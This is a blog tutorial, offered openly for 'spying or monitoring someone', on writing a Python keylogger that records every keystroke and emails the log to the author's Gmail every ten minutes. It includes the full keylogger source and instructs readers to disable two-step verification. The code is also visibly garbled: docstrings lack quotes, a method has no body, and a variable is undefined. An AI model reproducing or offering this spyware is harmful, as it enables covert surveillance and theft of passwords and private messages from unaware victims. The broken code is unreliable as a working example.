We all see Tons of Websites offering Key-loggers on the internet, We download it and install it to spy or monitor someone. But the problem is, Sometimes these keyloggers are too costly or you might be probably also installed a virus in the process.

In this article, I’ll show you how to write your own python keylogger, which will eventually send all details about keystrokes to your email address. You can also set frequency , in how much time you want to receive email.

Folks who don’t know, keylogger is known for Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording (logging) the keys pressed on a keyboard, so that the person using the keyboard is unaware that their actions are being monitored.

Requirements to Design Keylogger

To create your own Python Keylogger, you’ll need following Applications.

  • Python
    You need to make sure that your computer have python’s latest version installed. You can install latest version from here directly.

  • Anaconda (IDE)
    An integrated development environment (IDE) is a software application that provides comprehensive facilities to computer programmers for software development. PyCharm and Anaconda are most widely used IDE This is optional, If you are able to write code in CMD , then no need to install. Anaconda can be installed from here.

  • Python Module – Keyboard
    To Take full control of keyboard we’ll use this small Python library. It can hook global events, register hotkeys, simulate key presses and much more. Download module from here. Detailed documentation about module is available here.

1. Install Python Modules for Keylogger

Follow below steps to Install the downloaded keyboard module.

  • Extract The Downloaded zip file
  • Open Anaconda and Click on CMD
  • Now move to the directory where the file exists and install module. Use following command
cd downloads\keyboard-master\
python setup.py install

2. Setup Email

In this python Keylogger, we’ll make our script to share details about keystrokes to our email address in every 10 minutes.
You need to make sure that two step verification is turned off for your email address and you’ve allowed apps from less secure apps.

To change this navigate your browsers to your Gmail account > Settings
Or click here – https://myaccount.google.com/lesssecureapps

Create Your Own Python Keylogger Which Emails About Every Keystroke

3. Design Keylogger

Open Spyder IDE from Anaconda and type following code.

import keyboard
import smtplib
from threading import Semaphore, Timer

EMAIL_ADDRESS = "r**********@gmail.com"
EMAIL_PASSWORD = "1222345335"

Here, You need to enter your email address and password , This keylogger will an email with the pressed keystrokes in every 10 mins.

class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""
        self.semaphore = Semaphore(0)
    def callback(self, event):
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        name = event.name
        if len(name) > 1:
            # excluding character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                name = " "
            elif name == "enter":
                # whenever  ENTER is pressed, add a new line
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name
    def sendmail(self, email, password, message):
        # connection to an SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        # enter credentials to email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session

    def report(self):
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        if self.log:
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
        self.log = ""
        Timer(interval=self.interval, function=self.report).start()

    def start(self):
        # start the keylogger

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)

Once you’ve written above code in Spyder IDE save the file to your computer as keylogger.py

4. Run Programme

Run saved python file and it will start capturing all keystrokes in your computer. You can close keylogger from task manager. It will send detailed keystrokes to your email address.

Rajendra Choudhary

Rajendra is a Cyber Security Analyst, Developer & Professional Blogger. His free time is spent on Blogging, Wordpress, Creating Videos for Youtube Channel to share his knowledge with rest of us

This Post Has 2 Comments

  1. Priyanshu Das

    this can run in android phone???

  2. Sam

    I like your insight on using object oriented programming. Could you refer me to an established code you have to neutralize the execution of this keylogger using python?

Leave a Reply or Query